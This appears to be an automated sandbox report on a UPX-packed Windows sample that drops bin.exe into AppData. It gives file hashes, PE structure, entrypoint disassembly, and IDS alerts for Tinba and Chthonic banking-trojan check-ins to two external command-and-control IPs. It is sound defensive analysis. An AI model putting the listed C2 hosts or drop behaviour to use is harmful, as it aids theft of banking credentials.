Size (bytes):	50373
Entropy (8bit):	3.7533011813000954
Encrypted:	false
SSDEEP:	1536:2crkq/9PYdKNAd1d0f41H1Ii0OyAAZXjLdk6nMUisfhteVoVPPP8qoEYhk5+6DC3:2ckq/1YdKNAd1d0f41H1Ii5yAAZXHdep
MD5:	42C6CF763BC1DCEFD79C0E5262E7DFC4
SHA1:	2EAA3A2B1557ED78CA1166EB007608137E52C343
SHA-256:	99205F34B2E4960BE69575908CF5BC9C57A32A240105848EE998E1E79F240707
SHA-512:	73B48317D927329B24F59C164CEA53D0A8AF6456F8CD8F93A285286696626E15B1E2BE286A39310D4772A6263D6AB43710A07392B501324732FADBF8F50DB487
Malicious:	false
Preview:	................h...."cmd"~........A%..aint~.........+r~........A,#A..A0..192~.........2016~........A3.A60A7.A[bAa,.b@..ck..d\|(.e...f'..g..h6..iq..j..AkG.l...m2..n~..o...p...q..Ar_.s...t>..u..Av.w...x...y..AzWB.RA..A.IC..UA......A.c..~........C.LA..C.(I..Cpre..run%~.........fetch%~.........ail~.........stsc~.........cmd~.........run~.........utlook~.........2-bit)~........Id.A ..~.........viewer~.........4-bit)~......... zip~........D-zip.Iz3A ..~........Ffile m..help~.........anager~.........fm~.........ip~........Aa..paint~.........int~.........omt~........CbouMAc.Ad.Ae..kype~........Al..mil~........An.Apa.rJ.As.At.Au..zure~.........t java~.........alc~........DcessS.ess~.........lc~.........md~.........on~.........robat~........G contro..s~.........~........Ol:wux:a.Occess c..ontrol~........Eapter%.b~........Ad"Cmin4Eobe a=Jva.F:wux:a..~.........dapter~........Fress b..~........Oook:wux.O:addres..s book~........E cmd:.Jis.Owux:adm..in cmd~........Otrative.. tools~........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\Apps.index

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	modified
Size (bytes):	1126006
Entropy (8bit):	6.147114410359821
Encrypted:	false
SSDEEP:	24576:AoLr7YfoyFxz8GfoLr7YfoyFxz8G21it:AMwf1xz8GfMwf1xz8G2
MD5:	5665CA72FB1FE8FF993E1F56C8EDB387
SHA1:	11C371B293397DEE3289435CC6F797110D5A631B
SHA-256:	263D203F23A1E59D7FECA90148F7ED49333CD1CC607C58B4EEEDC1BF3A84F8C8
SHA-512:	5601C99D230FC811D192E23B4537048A86200532CE5A402749FCF687BBC23DF2E52CC3E8597E79E94A4E7CCF8945C825EA2A7EB93DD9A1F2204F28501E7FDBA1
Malicious:	false
Preview:	Ej..D..WindowsSearch....Apps...name..gscore..lscore...market.spelling.fE.h...K........~<~i..'..uT..r..7.c..l.s..P.x..c.k....p....'..CRa..Qn...a.,[.o2..t.u}.,{f.m.Q..e ;.w.0..l..(.y..P......gy..d.:&.i.;.[..n.b....j.z#.@.E.Q!..Q......N.Q/...`.z.Qh.7.f..+.4.. . ....v..L.8..Q6#.Q\..Qq.B.;.}..0....9...A5...X.Qz.H.7.'..%. .Q3.8.....Q21/...M.Q.kQ-..."""""""jo..&.I.Q+.uQ1j...j.a:..Ab...;b...Q...'.<...#?< ..a_C..b]<3../.<...Ae..t!...u...Qb...n....y._.Qj.{Ql =.p.S..m)o..k...Qo..Qh..Q;7CQi1..w2..Qf.2Qd8h.r....sE...a.<..cZ... \...z."..,me<ume.Q.z5Qxx.av>.Q[@R.24<u 24.ig...At.Qnv.Q .'Qo0xae....yo<uetoDam"...k<ue k.Qs.0ab..=&i<ue i+..j<ue jhQd..Qr..Qc.`&p<ue p...a<ue a.&w<ue w..&f<ue f..&h<ue h...v<ue v.Ql..&.<ube....g<ue g....<uetoet<uet..TUh<uet..&u<ueto..&p<ueto..%y<uet..cr<u...Re<...i<uetoMa<...-o<eto...o(...o(...teret...ute.eute..luetjuey...st ta..s<unes%e<unew..n<ueenfj<u....men+e n...t<uetbs<..X%j<uej...2<ue2M%b<ueb[.%g<ueg...h<ueh.%v<uev1.%c<uec..%p<uep6.%f<uef..j<uo...ue

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133477548824988414.txt (copy)

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133477548824988414.txt.~tmp

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Roaming\F90F00A9\bin.exe

Download File

Process:	C:\Windows\SysWOW64\winver.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	116224
Entropy (8bit):	5.299415324250664
Encrypted:	false
SSDEEP:	1536:3iLOvRmmQegJfBbmAQ256/ZrwWhwqjhurmKFcbL86WV0E:3iyvRmDLs/ZrwWjjAqGcfzWH
MD5:	EA8543BCC2E4689874647E2507DA6B29
SHA1:	A98ACF8A9F445292FEDF5E353C8AB4106085190C
SHA-256:	9CD73E36C637070F5143A84D05BCDCCEC788AF1D28E474B05E60D37D1F83076B
SHA-512:	1508785EFC9F925BC0E34D189E74C045BB64809AC9E7E7A933DCED9BB2A3791B3C63871928811EBA6DC87542A8AFDA8B6357853C486D4CEF02E856A9CD330884
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L...@..T.............................Z............@.....................................................................................X...........................................................................................................UPX0....................................UPX1................................@....rsrc...............................@....imports............................@...........................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	5.299488057565489
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	java.exe
File size:	116'224 bytes
MD5:	91493a9a9e83a7b48d178ae10f97028d
SHA1:	7f774f01e7f3768de1802226fb6ab15242bea878
SHA256:	79dc8da8c5f7b41a0eed67e10e5239355be1c6e089738138dfa3b753fe019355
SHA512:	b9c3c7899a643dff3a2bcdfb1e30137cc60b9a004e03515748f6db97bdb8939cb0c69f444e2a7df8d6fb7cdc0f331ca70c19120b126dee5ca81e98efc575eb1e
SSDEEP:	1536:1iLOvRmmQegJfBbmAQ256/ZrwWhwqjhurmKFcbL86WV0E:1iyvRmDLs/ZrwWjjAqGcfzWH
TLSH:	A8B34B62F204E89BE817D8F29919CD3164A37DBC88A0455E32D97F6D58B3AD30859F0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L......T...........................

File Icon


Icon Hash:	888c8e8eaa868fc6

Static PE Info

General

Entrypoint:	0x405a80
Entrypoint Section:	UPX0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x549EEEEC [Sat Dec 27 17:39:56 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d39aa71a62356d5bd05b3ccf2dfedd9e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 38h
mov dword ptr [ebp-10h], 00000000h
mov eax, dword ptr [ebp-10h]
mov dword ptr [ebp-2Ch], 00000001h
mov ecx, dword ptr [ebp-2Ch]
mov dword ptr [ebp-20h], 00000000h
mov word ptr [ebp-22h], 2D5Bh
mov edx, dword ptr [ebp-20h]
mov dword ptr [ebp-28h], 00000007h
mov esi, dword ptr [ebp-28h]
mov byte ptr [ebp-2Dh], 00000052h
mov bl, byte ptr [ebp-2Dh]
mov word ptr [ebp-30h], 796Dh
mov byte ptr [ebp-09h], bl
mov eax, dword ptr [ebp+00h]
mov dword ptr [0040DD44h], eax
lea eax, dword ptr [ebp+04h]
mov dword ptr [0040DD48h], eax
mov dword ptr [esp], esi
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-38h], ecx
mov dword ptr [ebp-3Ch], edx
call 00007F922D58E41Eh
mov ecx, dword ptr [ebp-3Ch]
cmp eax, ecx
je 00007F922D58E85Eh
mov ax, 0000h
mov cx, word ptr [ebp-30h]
mov dx, ax
sub dx, word ptr [ebp-30h]
mov word ptr [ebp-30h], dx
sub ax, word ptr [ebp-30h]
or cx, 1256h
mov word ptr [ebp-30h], cx
mov word ptr [ebp-22h], ax
mov esi, dword ptr [ebp-38h]
mov dword ptr [ebp-14h], esi
jmp 00007F922D58E844h
mov ax, 0000h
mov ecx, dword ptr [ebp-34h]
mov dword ptr [ebp-14h], ecx
sub ax, word ptr [ebp-22h]
mov word ptr [ebp-22h], ax
mov eax, dword ptr [ebp-14h]
mov cx, word ptr [ebp-22h]
and cx, 0673h
mov word ptr [ebp-22h], cx
add esp, 38h
pop esi
pop ebx
pop ebp
ret
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[C++] VS2005 build 50727
[RES] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d000	0x8c	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0xd58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x10000	0xf600	False	0.4557768038617886	DOS executable (COM)	4.895667733918766	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x11000	0xb000	0xb000	False	0.3611505681818182	data	5.633049275866229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1c000	0x1000	0x1000	False	0.318359375	data	3.483060593097884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.imports	0x1d000	0x1000	0xc00	False	0.421875	data	4.436376811230836	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x1c2fc	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.21890243902439024
RT_ICON	0x118a0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.3400537634408602
RT_ICON	0x11b98	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 0	0.35450819672131145
RT_ICON	0x11d90	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.46283783783783783
RT_ICON	0x11ec8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5026652452025586
RT_ICON	0x12d80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.5798736462093863
RT_ICON	0x13638	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.40264976958525345
RT_ICON	0x13d10	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.3273121387283237
RT_ICON	0x14288	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.27344398340248965
RT_ICON	0x16840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.37875234521575984
RT_ICON	0x178f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.37868852459016394
RT_ICON	0x18290	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.4796099290780142
RT_GROUP_ICON	0x1c968	0xae	data	0.5919540229885057
RT_VERSION	0x1ca1c	0x33c	data	0.47342995169082125

Imports

DLL	Import
GDI32.dll	GetDeviceCaps
KERNEL32.DLL	AddAtomW, FreeConsole, GetCurrencyFormatW, IsProcessorFeaturePresent, CreateEventA, OpenFileMappingW, LocalHandle, HeapSize, MulDiv, WriteFile, GetTempFileNameW, SetLocaleInfoW, DosDateTimeToFileTime, EnumLanguageGroupLocalesW, CreatePipe, GetPrivateProfileSectionNamesA, SetConsoleTitleA, CancelDeviceWakeupRequest, GetVolumePathNameA, GetProfileIntA, GetDateFormatA, DebugBreak, SuspendThread, SetCommMask, EnumUILanguagesW, MoveFileWithProgressA, BackupRead, GetNumberOfConsoleInputEvents, GetLongPathNameA, FreeLibrary, GetFileAttributesW, EnumDateFormatsA, QueryDosDeviceA, UpdateResourceW, WritePrivateProfileStructA, lstrcpynA, GetExitCodeProcess, GlobalAddAtomW, GetShortPathNameW, UnlockFileEx, SetComputerNameExA, GetExitCodeProcess
WINMM.dll	timeSetEvent, waveOutOpen, midiConnect, midiOutSetVolume, mmioOpenA, mmioWrite, DrvGetModuleHandle, mciGetDeviceIDFromElementIDW, waveOutGetErrorTextW, joyGetPosEx, mixerSetControlDetails, joySetThreshold, mmioRead, waveOutGetDevCapsA, DefDriverProc, mmioDescend, mixerGetLineInfoA, mciSendStringA, midiOutClose, midiInGetDevCapsW, midiStreamOut, mmioSetBuffer, midiInClose, waveOutReset, midiOutPrepareHeader, waveInGetPosition, GetDriverModuleHandle, mmioGetInfo, midiInMessage, mciGetCreatorTask, auxGetVolume, joyGetDevCapsW, waveInGetErrorTextA, mixerGetLineControlsW
mscms.dll	GetColorProfileElement, UninstallColorProfileA, AssociateColorProfileWithDeviceA, EnumColorProfilesW, GetStandardColorSpaceProfileW, DisassociateColorProfileFromDeviceW, GetStandardColorSpaceProfileA, SetStandardColorSpaceProfileW, DeleteColorTransform, GetPS2ColorRenderingIntent, SetColorProfileHeader, TranslateBitmapBits, CreateColorTransformA, ConvertIndexToColorName, CreateProfileFromLogColorSpaceW, RegisterCMMW, GetColorProfileElementTag, GetColorProfileFromHandle, UninstallColorProfileW, CreateMultiProfileTransform, GetCountColorProfileElements, InstallColorProfileA, CreateColorTransformW, CheckColors, SetColorProfileElementReference
msvcrt.dll	iswprint, _wgetenv, srand, strtok, iswupper, tolower, fputs, _swab, wcsncpy, _fputchar, iswctype, _strupr, bsearch, _strnicmp, memcmp, _wspawnl, _abnormal_termination, _rotl, _flsbuf, isdigit, memmove, _isctype, isalpha, isgraph, _wspawnvpe, _wexecve, _wcslwr, _wcsrev, fputwc, _fcvt, _ultoa, tmpnam, _wcreat
ole32.dll	OleCreateFromData, HWND_UserMarshal, CreateAntiMoniker, CoInitialize, CoSetProxyBlanket, CoDisconnectObject, ReleaseStgMedium, HGLOBAL_UserSize, PropStgNameToFmtId

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4216.218.185.16249742802020418 12/22/23-21:31:45.756024	TCP	2020418	ET TROJAN Tinba Checkin 2	49742	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249745802830613 12/22/23-21:31:50.428588	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49745	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249748802830613 12/22/23-21:31:53.740170	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49748	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249745802020418 12/22/23-21:31:50.428588	TCP	2020418	ET TROJAN Tinba Checkin 2	49745	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249745802024659 12/22/23-21:31:50.428588	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49745	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249739802020418 12/22/23-21:31:41.115704	TCP	2020418	ET TROJAN Tinba Checkin 2	49739	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249739802024659 12/22/23-21:31:41.115704	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49739	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249748802024659 12/22/23-21:31:53.740170	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49748	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249748802020418 12/22/23-21:31:53.740170	TCP	2020418	ET TROJAN Tinba Checkin 2	49748	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249737802020418 12/22/23-21:31:38.006819	TCP	2020418	ET TROJAN Tinba Checkin 2	49737	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249746802024659 12/22/23-21:31:52.053475	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49746	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249740802024659 12/22/23-21:31:42.585880	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49740	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802024659 12/22/23-21:31:47.490220	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49743	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249741802020418 12/22/23-21:31:44.432614	TCP	2020418	ET TROJAN Tinba Checkin 2	49741	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802020418 12/22/23-21:31:47.490220	TCP	2020418	ET TROJAN Tinba Checkin 2	49743	80	192.168.2.4	216.218.185.162
192.168.2.445.77.249.7949736802024659 12/22/23-21:31:35.805907	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49736	80	192.168.2.4	45.77.249.79
192.168.2.445.77.249.7949736802020418 12/22/23-21:31:35.805907	TCP	2020418	ET TROJAN Tinba Checkin 2	49736	80	192.168.2.4	45.77.249.79
192.168.2.4216.218.185.16249739802830613 12/22/23-21:31:41.115704	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49739	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249737802024659 12/22/23-21:31:38.006819	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49737	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249746802020418 12/22/23-21:31:52.053475	TCP	2020418	ET TROJAN Tinba Checkin 2	49746	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249738802024659 12/22/23-21:31:39.602700	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802830613 12/22/23-21:31:47.490220	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49743	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249738802020418 12/22/23-21:31:39.602700	TCP	2020418	ET TROJAN Tinba Checkin 2	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249744802024659 12/22/23-21:31:48.965379	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49744	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249741802024659 12/22/23-21:31:44.432614	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49741	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802020418 12/22/23-21:31:19.712756	TCP	2020418	ET TROJAN Tinba Checkin 2	49735	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249740802020418 12/22/23-21:31:42.585880	TCP	2020418	ET TROJAN Tinba Checkin 2	49740	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802024659 12/22/23-21:31:19.712756	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49735	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249744802020418 12/22/23-21:31:48.965379	TCP	2020418	ET TROJAN Tinba Checkin 2	49744	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249737802830613 12/22/23-21:31:38.006819	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49737	80	192.168.2.4	216.218.185.162
192.168.2.445.77.249.7949736802830613 12/22/23-21:31:35.805907	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49736	80	192.168.2.4	45.77.249.79
192.168.2.4216.218.185.16249742802024659 12/22/23-21:31:45.756024	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49742	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249741802830613 12/22/23-21:31:44.432614	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49741	80	192.168.2.4	216.218.185.162

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2023 21:30:50.759562016 CET	49675	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:00.366753101 CET	49675	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.238784075 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.239866018 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.239916086 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:11.239984035 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.241337061 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.241358995 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:11.538502932 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:11.671864986 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:11.671931982 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.147861958 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.761574030 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.761614084 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:12.761971951 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:12.762032032 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.762510061 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.762540102 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:12.838124990 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:12.838150978 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:13.267890930 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:13.268115044 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:13.268309116 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:13.268316031 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:13.268342972 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:13.268362999 CET	443	49729	173.222.162.32	192.168.2.4
Dec 22, 2023 21:31:13.268387079 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:13.268403053 CET	49729	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:13.351030111 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:15.757338047 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:18.595140934 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:18.796396971 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:18.796514988 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:19.712755919 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:19.914051056 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:19.914130926 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:20.115340948 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:20.115583897 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:20.115699053 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:20.115786076 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:20.569731951 CET	49672	443	192.168.2.4	173.222.162.32
Dec 22, 2023 21:31:20.779464960 CET	49735	80	192.168.2.4	216.218.185.162
Dec 22, 2023 21:31:20.980840921 CET	80	49735	216.218.185.162	192.168.2.4
Dec 22, 2023 21:31:30.179114103 CET	49672	443	192.168.2.4	173.222.162.32
